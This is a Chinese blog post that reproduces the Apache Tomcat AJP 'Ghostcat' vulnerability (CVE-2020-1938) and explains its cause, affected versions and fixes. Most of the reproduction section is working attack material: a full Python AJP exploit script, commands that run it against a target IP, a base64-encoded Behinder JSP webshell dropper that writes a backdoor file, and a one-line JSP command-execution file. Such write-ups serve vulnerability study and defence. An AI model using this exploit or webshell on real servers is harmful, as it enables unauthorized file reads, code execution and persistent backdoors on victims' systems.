CVE-2020-1938 ：Apache Tomcat AJP 漏洞复现和分析

太过爱你忘了你带给我的痛 2024-03-31 11:37 101阅读 0赞

#### 一、漏洞描述 ####

Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器.默认情况下,Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互.但Apache Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的AJP请求,可以读取或者包含Web应用根目录下的任意文件,如果配合文件上传任意格式文件，将可能导致任意代码执行(RCE).该漏洞利用AJP服务端口实现攻击,未开启AJP服务对外不受漏洞影响(tomcat默认将AJP服务开启并绑定至0.0.0.0/0).

#### 二、危险等级 ####

高危

#### **三、漏洞危害** ####

攻击者可以读取 Tomcat所有 webapp目录下的任意文件。此外如果网站应用提供文件上传的功能，攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的文件(上传的文件本身可以是任意类型的文件，比如图片、纯文本文件等)，然后利用 Ghostcat 漏洞进行文件包含，从而达到代码执行的危害

#### **四、影响范围** ####

Apache Tomcat 9.x < 9.0.31

Apache Tomcat 8.x < 8.5.51

Apache Tomcat 7.x < 7.0.100

Apache Tomcat 6.x

#### **五、前提条件** ####

对于处在漏洞影响版本范围内的 Tomcat 而言，若其开启 AJP Connector 且攻击者能够访问 AJP Connector 服务端口的情况下，即存在被 Ghostcat 漏洞利用的风险。注意 Tomcat AJP Connector 默认配置下即为开启状态，且监听在 0.0.0.0:8009 。

#### **六、漏洞原理** ####

Tomcat 配置了两个Connecto，它们分别是 HTTP 和 AJP ：HTTP默认端口为8080，处理http请求，而AJP默认端口8009，用于处理 AJP 协议的请求，而AJP比http更加优化，多用于反向、集群等，漏洞由于Tomcat AJP协议存在缺陷而导致，攻击者利用该漏洞可通过构造特定参数，读取服务器webapp下的任意文件以及可以包含任意文件，如果有某上传点，上传图片马等等，即可以获取shel

#### **七、漏洞分析** ####

**1.漏洞成因分析：**

tomcat默认的conf/server.xml中配置了2个Connector，一个为8080的对外提供的HTTP协议端口，另外一个就是默认的8009 AJP协议端口，两个端口默认均监听在外网ip。

如下图：

![3771dc0a33ac647d4b75c836ba32ac28.png][]

![Image 1][]

tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息，prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性

如下图：

![c8f317f5bca0ee0d3c4e2a523efe081e.png][]

![Image 1][]

因此可以通过此种特性从而可以控制request对象的下面三个Attribute属性

javax.servlet.include.request\_uri

javax.servlet.include.path\_info

javax.servlet.include.servlet\_path

然后封装成对应的request之后,继续走servlet的映射流程如下图所示:

![5f5095f92b428bb2c786e2decc811eb1.png][]

![Image 1][]

其中具体的映射方式就简略了，具体可以自己查看代码.

**2.利用方式:**

(1)、利用DefaultServlet实现任意文件下载

当url请求未在映射的url列表里面则会通过tomcat默认的DefaultServlet会根据上面的三个属性来读取文件,如下图

![a4a8808bf2c8f43af2370e3957936ca5.png][]

![Image 1][]

通过serveResource方法来获取资源文件

![ed27d5211b21a014a375c9d6192d1c17.png][]

![Image 1][]

通过getRelativePath来获取资源文件路径

![12f8466707d3a41d88f0ec085a3bcb3c.png][]

![Image 1][]

然后再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到/WEB-INF下面的所有敏感文件，不限于class、xml、jar等文件。

(2)、通过jspservlet实现任意后缀文件包含

当url(比如http://xxx/xxx/xxx.jsp)请求映射在org.apache.jasper.servlet.JspServlet这个servlet的时候也可通过上述三个属性来控制访问的jsp文件如下图:

![125c3f1ee804252739e02ba1573aa8ee.png][]

![Image 1][]

控制路径之后就可以以jsp解析该文件 所以只需要一个可控文件内容的文件即可实现rce.

#### 八、漏洞复现 ####

**1.环境的准备**

(1).windows下漏洞复现环境准备，这里以tomcat-8.5.32为例。

https://github.com/backlion/CVE-2020-1938/blob/master/apache-tomcat-8.5.32.zip

(2)、安装jdk并配置JDK环境

(3)、然后启动tomcat，点击tomcat目录/bin 文件夹下的startup.bat

![1a17c521f69fb6ac3152534540742a7e.png][]

**2.漏洞复现利用**

(1)、任意文件读取(这里可以读取webapps目录下的任何文件)

root@kali2019:~# git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
    root@kali2019:~# cd CNVD-2020-10487-Tomcat-Ajp-lfi/
    root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# chmod +x CNVD-2020-10487-Tomcat-Ajp-lfi.py 
    root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f WEB-INF/web.xml

![0764f7421230d3a786879f6216dff555.png][]

![Image 1][]

root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f index.jsp

![b70cf29656ec24d9aac46f471187ac6c.png][]

![Image 1][]

root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f test.txt

![ffd3f287eecedc7d69e94d11c62394df.png][]

**2.任意文件包含：(这个有点鸡肋，需要上传要包含的文件内容)**

(1)、先上传需要包含的JSP文件代码，这里是冰蝎小马(test.txt)

下面是将test.txt文件上传到ROOT目录下(这里为了漏洞演示，我直接将文件上传到该目录下，在实际的环境中，可以通过文件上传漏洞，上传txt文件结合利用漏洞)

![6e0918e2af2ea498d5b2c1162a2879cb.png][]

![Image 1][]

test.txt文件内容：

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="2.0">
    <jsp:directive.page contentType="text/html" pageEncoding="utf-8"/>
    <jsp:directive.page import="java.io.*"/>
    <jsp:directive.page import="sun.misc.BASE64Decoder"/>
    <html><head><title>fuck</title></head>
    <body bgcolor="#ffffff">
    //mima:pass
    <jsp:scriptlet><![CDATA[
    String realPath = request.getRealPath(request.getRequestURI());
    String dir=new File(realPath).getParent();
    String strPath = dir+"/t00ls.jspx";
    File strFile = new File(strPath);
    boolean fileCreated = strFile.createNewFile();
    Writer jspx = new BufferedWriter(new FileWriter(strFile));
    String tmp ="PGpzcDpyb290IHhtbG5zOmpzcD0iaHR0cDovL2phdmEuc3VuLmNvbS9KU1AvUGFnZSIgdmVyc2lvbj0iMS4yIj48anNwOmRpcmVjdGl2ZS5wYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YXguY3J5cHRvLiosamF2YXguY3J5cHRvLnNwZWMuKiIvPjxqc3A6ZGVjbGFyYXRpb24+IGNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlcntVKENsYXNzTG9hZGVyIGMpe3N1cGVyKGMpO31wdWJsaWMgQ2xhc3MgZyhieXRlIFtdYil7cmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsMCxiLmxlbmd0aCk7fX08L2pzcDpkZWNsYXJhdGlvbj48anNwOnNjcmlwdGxldD5pZihyZXF1ZXN0LmdldFBhcmFtZXRlcigicGFzcyIpIT1udWxsKXtTdHJpbmcgaz0oIiIlMmJVVUlELnJhbmRvbVVVSUQoKSkucmVwbGFjZSgiLSIsIiIpLnN1YnN0cmluZygxNik7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7b3V0LnByaW50KGspO3JldHVybjt9Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYygoc2Vzc2lvbi5nZXRWYWx1ZSgidSIpJTJiIiIpLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTs8L2pzcDpzY3JpcHRsZXQ+PC9qc3A6cm9vdD4="; 
    String str = new String((new BASE64Decoder()).decodeBuffer(tmp));
    String eStr = java.net.URLDecoder.decode(str);
    jspx.write(eStr);
    jspx.flush();
    jspx.close();
    out.println(strPath);
    ]]></jsp:scriptlet>
    </body>
    </html>
    </jsp:root>

(2)、测试可以直接访问test.txt

http://192.168.1.9:8080/test.txt

(3)、需要对poc进行修改，将包含"/asdf "修改为"/asdf.jspx"

https://github.com/backlion/CNVD-2020-10487-Tomcat-Ajp-lfi/blob/master/CNVD-2020-10487-Tomcat-Ajp-lfi.py

其修改后的代码如下：

#!/usr/bin/env python
    #CNVD-2020-10487 Tomcat-Ajp lfi
    #by ydhcui
    import struct
     
    # Some references:
    # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
    def pack_string(s):
     if s is None:
      return struct.pack(">h", -1)
     l = len(s)
     return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
    def unpack(stream, fmt):
     size = struct.calcsize(fmt)
     buf = stream.read(size)
     return struct.unpack(fmt, buf)
    def unpack_string(stream):
     size, = unpack(stream, ">h")
     if size == -1: # null string
      return None
     res, = unpack(stream, "%ds" % size)
     stream.read(1) # \0
     return res
    class NotFoundException(Exception):
     pass
    class AjpBodyRequest(object):
     # server == web server, container == servlet
     SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
     MAX_REQUEST_LENGTH = 8186
     def __init__(self, data_stream, data_len, data_direction=None):
      self.data_stream = data_stream
      self.data_len = data_len
      self.data_direction = data_direction
     def serialize(self):
      data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
      if len(data) == 0:
       return struct.pack(">bbH", 0x12, 0x34, 0x00)
      else:
       res = struct.pack(">H", len(data))
       res += data
      if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
       header = struct.pack(">bbH", 0x12, 0x34, len(res))
      else:
       header = struct.pack(">bbH", 0x41, 0x42, len(res))
      return header + res
     def send_and_receive(self, socket, stream):
      while True:
       data = self.serialize()
       socket.send(data)
       r = AjpResponse.receive(stream)
       while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
        r = AjpResponse.receive(stream)
     
       if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
        break
    class AjpForwardRequest(object):
     _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
     REQUEST_METHODS = {
          'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
     # server == web server, container == servlet
     SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
     COMMON_HEADERS = ["SC_REQ_ACCEPT",
      "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
      "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
      "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
     ]
     ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
     def __init__(self, data_direction=None):
      self.prefix_code = 0x02
      self.method = None
      self.protocol = None
      self.req_uri = None
      self.remote_addr = None
      self.remote_host = None
      self.server_name = None
      self.server_port = None
      self.is_ssl = None
      self.num_headers = None
      self.request_headers = None
      self.attributes = None
      self.data_direction = data_direction
     def pack_headers(self):
      self.num_headers = len(self.request_headers)
      res = ""
      res = struct.pack(">h", self.num_headers)
      for h_name in self.request_headers:
       if h_name.startswith("SC_REQ"):
        code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
        res += struct.pack("BB", 0xA0, code)
       else:
        res += pack_string(h_name)
     
       res += pack_string(self.request_headers[h_name])
      return res
     
     def pack_attributes(self):
      res = b""
      for attr in self.attributes:
       a_name = attr['name']
       code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
       res += struct.pack("b", code)
       if a_name == "req_attribute":
        aa_name, a_value = attr['value']
        res += pack_string(aa_name)
        res += pack_string(a_value)
       else:
        res += pack_string(attr['value'])
      res += struct.pack("B", 0xFF)
      return res
     def serialize(self):
      res = ""
      res = struct.pack("bb", self.prefix_code, self.method)
      res += pack_string(self.protocol)
      res += pack_string(self.req_uri)
      res += pack_string(self.remote_addr)
      res += pack_string(self.remote_host)
      res += pack_string(self.server_name)
      res += struct.pack(">h", self.server_port)
      res += struct.pack("?", self.is_ssl)
      res += self.pack_headers()
      res += self.pack_attributes()
      if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
       header = struct.pack(">bbh", 0x12, 0x34, len(res))
      else:
       header = struct.pack(">bbh", 0x41, 0x42, len(res))
      return header + res
     def parse(self, raw_packet):
      stream = StringIO(raw_packet)
      self.magic1, self.magic2, data_len = unpack(stream, "bbH")
      self.prefix_code, self.method = unpack(stream, "bb")
      self.protocol = unpack_string(stream)
      self.req_uri = unpack_string(stream)
      self.remote_addr = unpack_string(stream)
      self.remote_host = unpack_string(stream)
      self.server_name = unpack_string(stream)
      self.server_port = unpack(stream, ">h")
      self.is_ssl = unpack(stream, "?")
      self.num_headers, = unpack(stream, ">H")
      self.request_headers = {}
      for i in range(self.num_headers):
       code, = unpack(stream, ">H")
       if code > 0xA000:
        h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
       else:
        h_name = unpack(stream, "%ds" % code)
        stream.read(1) # \0
       h_value = unpack_string(stream)
       self.request_headers[h_name] = h_value
     def send_and_receive(self, socket, stream, save_cookies=False):
      res = []
      i = socket.sendall(self.serialize())
      if self.method == AjpForwardRequest.POST:
       return res
     
      r = AjpResponse.receive(stream)
      assert r.prefix_code == AjpResponse.SEND_HEADERS
      res.append(r)
      if save_cookies and 'Set-Cookie' in r.response_headers:
       self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
     
      # read body chunks and end response packets
      while True:
       r = AjpResponse.receive(stream)
       res.append(r)
       if r.prefix_code == AjpResponse.END_RESPONSE:
        break
       elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
        continue
       else:
        raise NotImplementedError
        break
     
      return res
     
    class AjpResponse(object):
     _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
     COMMON_SEND_HEADERS = [
       "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
       "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
       ]
     def parse(self, stream):
      # read headers
      self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
     
      if self.prefix_code == AjpResponse.SEND_HEADERS:
       self.parse_send_headers(stream)
      elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
       self.parse_send_body_chunk(stream)
      elif self.prefix_code == AjpResponse.END_RESPONSE:
       self.parse_end_response(stream)
      elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
       self.parse_get_body_chunk(stream)
      else:
       raise NotImplementedError
     
     def parse_send_headers(self, stream):
      self.http_status_code, = unpack(stream, ">H")
      self.http_status_msg = unpack_string(stream)
      self.num_headers, = unpack(stream, ">H")
      self.response_headers = {}
      for i in range(self.num_headers):
       code, = unpack(stream, ">H")
       if code <= 0xA000: # custom header
        h_name, = unpack(stream, "%ds" % code)
        stream.read(1) # \0
        h_value = unpack_string(stream)
       else:
        h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
        h_value = unpack_string(stream)
       self.response_headers[h_name] = h_value
     
     def parse_send_body_chunk(self, stream):
      self.data_length, = unpack(stream, ">H")
      self.data = stream.read(self.data_length+1)
     
     def parse_end_response(self, stream):
      self.reuse, = unpack(stream, "b")
     
     def parse_get_body_chunk(self, stream):
      rlen, = unpack(stream, ">H")
      return rlen
     
     @staticmethod
     def receive(stream):
      r = AjpResponse()
      r.parse(stream)
      return r
     
    import socket
     
    def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
     fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
     fr.method = method
     fr.protocol = "HTTP/1.1"
     fr.req_uri = req_uri
     fr.remote_addr = target_host
     fr.remote_host = None
     fr.server_name = target_host
     fr.server_port = 80
     fr.request_headers = {
      'SC_REQ_ACCEPT': 'text/html',
      'SC_REQ_CONNECTION': 'keep-alive',
      'SC_REQ_CONTENT_LENGTH': '0',
      'SC_REQ_HOST': target_host,
      'SC_REQ_USER_AGENT': 'Mozilla',
      'Accept-Encoding': 'gzip, deflate, sdch',
      'Accept-Language': 'en-US,en;q=0.5',
      'Upgrade-Insecure-Requests': '1',
      'Cache-Control': 'max-age=0'
     }
     fr.is_ssl = False
     fr.attributes = []
     return fr
     
    class Tomcat(object):
     def __init__(self, target_host, target_port):
      self.target_host = target_host
      self.target_port = target_port
     
      self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
      self.socket.connect((target_host, target_port))
      self.stream = self.socket.makefile("rb", bufsize=0)
     
     def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
      self.req_uri = req_uri
      self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
      print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
      if user is not None and password is not None:
       self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
      for h in headers:
       self.forward_request.request_headers[h] = headers[h]
      for a in attributes:
       self.forward_request.attributes.append(a)
      responses = self.forward_request.send_and_receive(self.socket, self.stream)
      if len(responses) == 0:
       return None, None
      snd_hdrs_res = responses[0]
      data_res = responses[1:-1]
      if len(data_res) == 0:
       print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
      return snd_hdrs_res, data_res
     
    '''
    javax.servlet.include.request_uri
    javax.servlet.include.path_info
    javax.servlet.include.servlet_path
    '''
     
    import argparse
    parser = argparse.ArgumentParser()
    parser.add_argument("target", type=str, help="Hostname or IP to attack")
    parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
    parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
    args = parser.parse_args()
    t = Tomcat(args.target, args.port)
    _,data = t.perform_request('/asdf.jspx',attributes=[
        {
          'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
        {
          'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
        {
          'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
        ])
    print('----------------------------')
    print("".join([d.data for d in data]))

(4)、输入以下命令可文件包含执行，最终在root目录下生成一个后门文件t00ls.jspx

root@kali2019:/opt# python cve-2020-10487.py 192.168.1.9 -p 8009 -f test.txt

![68bc8151c6c47a85c3419042a6ed9779.png][]

![428d65f297ee877b5a34136d8c066ed9.png][]

![Image 1][]

**3.任意文件包含的另一种方法**

(1)、也可以上传一句话命令执行文件exec.txt(里面的系统命令可以根据需要修改)

exec.txt内容如下：

<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());%>

(2)、测试可以正常访问上传的文件

http://192.168.1.9:8080/exec.txt

![093db30e411b23a6cce6373e70a4599f.png][]

![Image 1][]

(3)、然后输入以下命令，可以任意文件包含执行系统命令

root@kali2019:/opt# python3 cve-2020-10487-v1.py 192.168.1.9 -p 8009 -f exec.txt --rce 1

![Image 1][]

![33504c3c178021bca83cdc6ecbdbee84.png][]

#### **九、漏洞修复建议** ####

Tomcat 官方已发布 9.0.31、8.5.51 及 7.0.100 版本针对此漏洞进行修复。

1、临时禁用AJP协议端口，在conf/server.xml配置文件中注释掉<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" />

2、配置ajp配置中的secretRequired跟secret属性来限制认证

3、官方下载最新版下载地址：

[https://tomcat.apache.org/download-70.cgi][https_tomcat.apache.org_download-70.cgi]

[https://tomcat.apache.org/download-80.cgi][https_tomcat.apache.org_download-80.cgi]

[https://tomcat.apache.org/download-90.cgi][https_tomcat.apache.org_download-90.cgi]

[https://github.com/apache/tomcat/releases][https_github.com_apache_tomcat_releases]

#### 十、参考链接 ####

[https://github.com/0nise/CVE-2020-1938][https_github.com_0nise_CVE-2020-1938]

[https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi][https_github.com_YDHCUI_CNVD-2020-10487-Tomcat-Ajp-lfi]

[https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner][https_github.com_Kit4y_CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner]

[https://mp.weixin.qq.com/s/NM1E91I6tDwpuGi3H4gATw][https_mp.weixin.qq.com_s_NM1E91I6tDwpuGi3H4gATw]

[https://mp.weixin.qq.com/s/M6CK9Bk7MJI2NSLEiVoBjQ][https_mp.weixin.qq.com_s_M6CK9Bk7MJI2NSLEiVoBjQ]

[https://mp.weixin.qq.com/s/GzqLkwlIQi\_i3AVIXn59FQ][https_mp.weixin.qq.com_s_GzqLkwlIQi_i3AVIXn59FQ]

[https://blog.csdn.net/csacs/article/details/104427197][https_blog.csdn.net_csacs_article_details_104427197]

[3771dc0a33ac647d4b75c836ba32ac28.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/d96e010d301b4289811dbb6cda374552.png
[Image 1]: 
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[5f5095f92b428bb2c786e2decc811eb1.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/e0a8e1891a1e4fa1a70d9718834bffb7.png
[a4a8808bf2c8f43af2370e3957936ca5.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/8505045bbfe3485e841d6fee3db0d137.png
[ed27d5211b21a014a375c9d6192d1c17.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/ddbfb265d6f146c6ac9af3a35ebd1ec6.png
[12f8466707d3a41d88f0ec085a3bcb3c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/94b74e3c4bfe4e6582df9d3bf43f88c2.png
[125c3f1ee804252739e02ba1573aa8ee.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/7f8adcac3bd0469eb97c3394e7fe1de8.png
[1a17c521f69fb6ac3152534540742a7e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/d71fd18363314f33953ee90e3f6fe894.png
[0764f7421230d3a786879f6216dff555.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/5a7499395faa49ea9147816e9bc2028b.png
[b70cf29656ec24d9aac46f471187ac6c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/ff748d86c4e5416fb7af999476c74f3f.png
[ffd3f287eecedc7d69e94d11c62394df.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/e033ebb8fc3e45cc83b3c09b12c337be.png
[6e0918e2af2ea498d5b2c1162a2879cb.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/c8bd9d699c35408aa2be6c3c8316fa16.png
[68bc8151c6c47a85c3419042a6ed9779.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/7e79cbb532824b08b5dee2e7d6bd13af.png
[428d65f297ee877b5a34136d8c066ed9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/93e2bdcd4bd746ba93aafa9ee705be57.png
[093db30e411b23a6cce6373e70a4599f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/743c275e0a904695802cc0207474e12f.png
[33504c3c178021bca83cdc6ecbdbee84.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/c07d64c371e244d0883f6fd953215856.png
[https_tomcat.apache.org_download-70.cgi]: https://tomcat.apache.org/download-70.cgi
[https_tomcat.apache.org_download-80.cgi]: https://tomcat.apache.org/download-80.cgi
[https_tomcat.apache.org_download-90.cgi]: https://tomcat.apache.org/download-90.cgi%E6%88%96Github%E4%B8%8B%E8%BD%BD%EF%BC%9A
[https_github.com_apache_tomcat_releases]: https://github.com/apache/tomcat/releases
[https_github.com_0nise_CVE-2020-1938]: https://github.com/0nise/CVE-2020-1938
[https_github.com_YDHCUI_CNVD-2020-10487-Tomcat-Ajp-lfi]: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
[https_github.com_Kit4y_CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner]: https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner
[https_mp.weixin.qq.com_s_NM1E91I6tDwpuGi3H4gATw]: https://mp.weixin.qq.com/s/NM1E91I6tDwpuGi3H4gATw
[https_mp.weixin.qq.com_s_M6CK9Bk7MJI2NSLEiVoBjQ]: https://mp.weixin.qq.com/s/M6CK9Bk7MJI2NSLEiVoBjQ
[https_mp.weixin.qq.com_s_GzqLkwlIQi_i3AVIXn59FQ]: https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ
[https_blog.csdn.net_csacs_article_details_104427197]: https://blog.csdn.net/csacs/article/details/104427197